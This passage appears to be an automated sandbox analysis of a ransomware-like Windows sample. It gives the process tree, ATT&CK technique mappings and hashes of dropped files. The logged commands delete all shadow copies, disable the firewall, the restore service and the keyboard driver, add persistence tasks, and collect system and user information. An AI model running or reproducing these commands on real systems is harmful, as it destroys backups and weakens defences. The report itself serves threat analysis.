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C:\Windows\System32\wscript.exe"C:\Windows\System32\wscript.exe" C:\Users\Admin\AppData\Local\Temp\makelnk.vbs2⤵
- Executes a VBScript file via the Windows Script Host.
PID:2888
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C:\Windows\SYSTEM32\schtasks.exe"schtasks" /create /tn "SysUpdateTask" /tr "C:\Users\Admin\AppData\Local\Temp\emperoroysters.io_hyber.exe" /sc onlogon /f2⤵
- Scheduled Task/Job: Scheduled Task
PID:2852
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C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\del.bat" "2⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:5820 -
C:\Windows\system32\vssadmin.exevssadmin delete shadows /all /quiet3⤵
- Interacts with shadow copies
PID:5412
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C:\Windows\System32\Wbem\WMIC.exewmic shadowcopy delete3⤵
- Suspicious behavior: EnumeratesProcesses
PID:4356
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C:\Windows\SYSTEM32\cmd.exe"cmd.exe" /c systeminfo > "C:\ProgramData\SysUpdate\Logs\sysinfo.txt"2⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:5992 -
C:\Windows\system32\systeminfo.exesysteminfo3⤵
- Gathers system information
PID:4876
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C:\Windows\SYSTEM32\cmd.exe"cmd.exe" /c tasklist > "C:\ProgramData\SysUpdate\Logs\tasklist.txt"2⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:5728 -
C:\Windows\system32\tasklist.exetasklist3⤵
- Discovers running processes
- Suspicious use of AdjustPrivilegeToken
PID:3744
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C:\Windows\SYSTEM32\cmd.exe"cmd.exe" /c whoami > "C:\ProgramData\SysUpdate\Logs\whoami.txt"2⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:924 -
C:\Windows\system32\whoami.exewhoami3⤵
- Suspicious use of AdjustPrivilegeToken
PID:4548
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C:\Windows\SYSTEM32\cmd.exe"cmd.exe" /c net user > "C:\ProgramData\SysUpdate\Logs\netuser.txt"2⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:4576 -
C:\Windows\system32\net.exenet user3⤵
- Suspicious use of WriteProcessMemory
PID:3560 -
C:\Windows\system32\net1.exeC:\Windows\system32\net1 user4⤵PID:1672
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C:\Windows\SYSTEM32\cmd.exe"cmd.exe" /c ipconfig /all > "C:\ProgramData\SysUpdate\Logs\ipconfig.txt"2⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:636 -
C:\Windows\system32\ipconfig.exeipconfig /all3⤵
- Gathers network information
PID:3204
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C:\Windows\SYSTEM32\cmd.exe"cmd.exe" /c netstat -an > "C:\ProgramData\SysUpdate\Logs\netstat.txt"2⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:4796 -
C:\Windows\system32\NETSTAT.EXEnetstat -an3⤵
- Gathers network information
- Suspicious use of AdjustPrivilegeToken
PID:5016
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C:\Windows\SYSTEM32\schtasks.exe"schtasks" /create /tn "RansomwareCheck" /tr "C:\Users\Admin\AppData\Local\Temp\emperoroysters.io_hyber.exe" /sc daily /f2⤵
- Scheduled Task/Job: Scheduled Task
PID:2444
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C:\Windows\System32\wscript.exe"C:\Windows\System32\wscript.exe" C:\Users\Admin\AppData\Local\Temp\createshortcut.vbs2⤵
- Executes a VBScript file via the Windows Script Host.
PID:808
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C:\Windows\System32\notepad.exe"C:\Windows\System32\notepad.exe"2⤵PID:3608
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C:\Windows\System32\vssadmin.exe"C:\Windows\System32\vssadmin.exe" delete shadows /all /quiet2⤵
- Interacts with shadow copies
PID:5816
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C:\Windows\System32\wbem\WMIC.exe"C:\Windows\System32\wbem\WMIC.exe" shadowcopy delete2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:5664
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C:\Windows\System32\net.exe"C:\Windows\System32\net.exe" stop srservice2⤵
- Suspicious use of WriteProcessMemory
PID:3088 -
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop srservice3⤵PID:940
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C:\Windows\System32\netsh.exe"C:\Windows\System32\netsh.exe" advfirewall set allprofiles state off2⤵
- Modifies Windows Firewall
- Event Triggered Execution: Netsh Helper DLL
PID:2332
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C:\Windows\System32\sc.exe"C:\Windows\System32\sc.exe" config i8042prt start= disabled2⤵
- Launches sc.exe
PID:2028
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C:\Windows\System32\sc.exe"C:\Windows\System32\sc.exe" stop i8042prt2⤵
- Launches sc.exe
PID:632
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C:\Windows\system32\LogonUI.exe"LogonUI.exe" /flags:0x0 /state0:0xa3a20855 /state1:0x41c64e6d1⤵
- Drops file in System32 directory
- Drops file in Windows directory
- Checks processor information in registry
- Modifies data under HKEY_USERS
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
PID:576
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k CameraMonitor1⤵PID:1484
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C:\Users\Admin\AppData\Local\Temp\emperoroysters.io_hyber.exeC:\Users\Admin\AppData\Local\Temp\emperoroysters.io_hyber.exe1⤵PID:4020
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C:\Users\Admin\AppData\Local\Temp\emperoroysters.io_hyber.exeC:\Users\Admin\AppData\Local\Temp\emperoroysters.io_hyber.exe1⤵PID:4828
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C:\Windows\system32\vssvc.exeC:\Windows\system32\vssvc.exe1⤵
- Suspicious use of AdjustPrivilegeToken
PID:4544
Network
MITRE ATT&CK Enterprise v16
Execution
Command and Scripting Interpreter
4PowerShell
1Visual Basic
1Windows Command Shell
1Scheduled Task/Job
1Scheduled Task
1System Services
2Service Execution
2Windows Management Instrumentation
1Persistence
Boot or Logon Autostart Execution
2Registry Run Keys / Startup Folder
2Create or Modify System Process
4Windows Service
4Event Triggered Execution
1Netsh Helper DLL
1Scheduled Task/Job
1Scheduled Task
1Privilege Escalation
Boot or Logon Autostart Execution
2Registry Run Keys / Startup Folder
2Create or Modify System Process
4Windows Service
4Event Triggered Execution
1Netsh Helper DLL
1Scheduled Task/Job
1Scheduled Task
1Defense Evasion
Direct Volume Access
1Impair Defenses
3Disable or Modify System Firewall
1Disable or Modify Tools
1Indicator Removal
2File Deletion
2Modify Registry
3Credential Access
Credentials from Password Stores
1Credentials from Web Browsers
1Unsecured Credentials
1Credentials In Files
1Replay Monitor
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Downloads
- Path C:\ProgramData\invoice_1.pdf
- Size 66KB
- SHA256 b8f50cc4d77e85713e64aa1b81a1f815a60e7d38f4763fd846caf78e5c24198c
- MD5 89a2e80985442c1722a4d6a03813e942
- SHA1 a11d49dac3adfe09f8b0d158d3806a874f5c75ea
- SHA512 afe949b26e74bf49c3b307b8e9a0a9c72dad6325a2b7d1e18e64ac6bfa017f66333a666f6520b798dac03ec2504c6ac46e99355758ba611e2c36fa8e023541a0
- SSDEEP 1536:U2Rveo0zwn1+7cRMa3EJMlHP2m/Q3czBceh2vcCsRSk94hnpx7lKweb:UgvQzwnA81EGHX/yczBcegUtkT7lK1
- TLSH T1F7632A378B27FCC5677F3D40F05439960C883D2B87B1A66CFB850A9938A5584EF2D998
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\SystemVolumeInformation\doc_3.pdf
- Size 66KB
- SHA256 b0ae58ae4cb67ccda96cc4d5f2de74c7152c13df09e5e84365031395d8bd8f07
- MD5 32162501485d7aebc62f77ad64b403d7
- SHA1 af49799770cb9ae3e91f20e887662eb347f6e858
- SHA512 2ea6b14512fade10cf6d91b9f144e5c0bad129a09d857347b23c25d73395938489b6197c999f1cf2ea787dacbac24a11dee89d763c22f552c06815948ac804ef
- SSDEEP 1536:02Rveo0zwn1+7cRMa3EJMlHP2m/Q3czBceh2vcCsRSk94hnpx7lKweS:0gvQzwnA81EGHX/yczBcegUtkT7lKU
- TLSH T1E2632A378B27FDC1677F3D40F06429960C883D6B8771A66CFB850E9938A9184DF2D998
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Users\Admin\AppData\Local\Temp\createshortcut.vbs
- Size 248B
- SHA256 a1ccc5be742d4876a1dab85a94c997b5afd473268ccbde7c7224fec5ec33047b
- MD5 4b5601f4beeae1221b490a27d2d0b07b
- SHA1 671b0f11585f5027cd731b55009ffef89078c5ac
- SHA512 96c13590b1ee26a3b724b37cb515ae30324f394f0dccf1d46e8ea73e4862cd35b3a4ca958c5227957974fe0887bb429f9c3adb45b9d9ec13fde6830534b30512
- TLSH T197D09547710CC1A40000227780F3CD4CD5F4442837077F714A95CD0E31C08844EF6843
- MD5 SHA1 SHA512 TLSH
- Path C:\Users\Admin\AppData\Local\Temp\del.bat
- Size 59B
- SHA256 a51f2a0f053ac35b4158bb02b75421ab3698e1d0ee4f926abf1bae3af1570c53
- MD5 9cecbebdcdd60358132849714a3b82f7
- SHA1 be6e20834a5726f3742f05e6bdfaff16118b147f
- SHA512 7b48bd66b4c741d2de2e8b7bc0eab8f438ddc1ed0c73e8b70add9bee400f6640f692884965032616e2d6911a22a17d1d3762421aa49fe021660c9052cfc0675a
- TLSH T13DA002620F961E5469529E5AD73425239D1F104CD1390012F05232903DA98DE0EC2144
- MD5 SHA1 SHA512 TLSH
- Path C:\Users\Admin\AppData\Local\Temp\makelnk.vbs
- Size 249B
- SHA256 9bce2f1668e584ee2aaf2cf0e8c05c3680e5077356bea392c952d71cb4cbfc5a
- MD5 682637229962244fddf5cc00e8c54383
- SHA1 d95cd62b89ce2cc58ada20931b1efd504843befb
- SHA512 91b430f18fe3a56d94b03acb0c9ed7a706fc12c19e480ec172fcf75d2759cae51287ab276385d746ff678ccefc242ea7b9a7594e6b7f012d20fc76ed15cdd5cf
- TLSH T150D0A597714DC5A50401227B80F3CD4CD5E544693B177F759A55DD0F32C18554EF6943
- MD5 SHA1 SHA512 TLSH